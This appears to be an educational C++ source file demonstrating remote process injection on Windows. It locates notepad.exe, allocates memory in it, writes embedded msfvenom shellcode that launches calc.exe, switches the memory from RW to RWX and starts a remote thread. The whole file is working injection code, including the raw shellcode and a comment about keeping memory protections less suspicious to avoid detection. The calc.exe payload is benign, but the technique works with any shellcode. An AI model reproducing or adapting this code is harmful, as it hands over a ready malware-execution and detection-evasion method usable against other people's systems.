/* * Process injection example 3: injecting calc.exe msfvenom shellcode into a remote process * shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread * compile: cl.exe injection-example-3.cpp /D"_UNICODE" /D"UNICODE" /W0 */ #include #include #include // Adapted from Pavel Yosifovich's Enumerate Processes (part 1): https://www.youtube.com/watch?v=IZULG6I4z5U DWORD FindPidByName(LPCWSTR processName) { DWORD foundpid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return foundpid; } PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(processName, pe.szExeFile) == 0) { foundpid = pe.th32ProcessID; break; } } while (Process32Next(hSnapshot, &pe)); } CloseHandle(hSnapshot); return foundpid; } int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; DWORD pid = 0; const wchar_t* processName = L"notepad.exe"; pid = FindPidByName(processName); if (pid == 0) { printf("[ERROR] Failed to obtain process ID!\n"); return -1; } printf("[*] Running PI with target PID: %u\n", pid); // Open a handle to the current process, this must be passed to VirtualAllocEx HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); if (pHandle == NULL) { printf("Failed to acquire process handle!\n"); return -1; } printf("[*] Successfully opened handle to PID: %u\n", pid); // Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious LPVOID bufferAddress = VirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE); if (bufferAddress == NULL) { printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); return -1; } printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress); // Write the shellcode to the block of memory that we allocated with VirtualAllocEx BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL); if (writeShellcode == false) { printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); return -1; } // Update the memory protection value from RW to RWX DWORD lpOldProtect = NULL; BOOL updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect); if (updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); return -1; } // Create a new thread using the shellcode buffer address as the starting point HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); if (tHandle == NULL) { printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); return -1; } // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner printf("[*] Waiting for the thread to return...\n"); WaitForSingleObject(tHandle, INFINITE); // Update the memory protection value from RWX to RW updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); if (updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); return -1; } // Clean up open handles and free the shellcode buffer memory CloseHandle(pHandle); CloseHandle(tHandle); VirtualFree(bufferAddress, 0, MEM_RELEASE); printf("[*] Process injection complete.\n"); return 0; }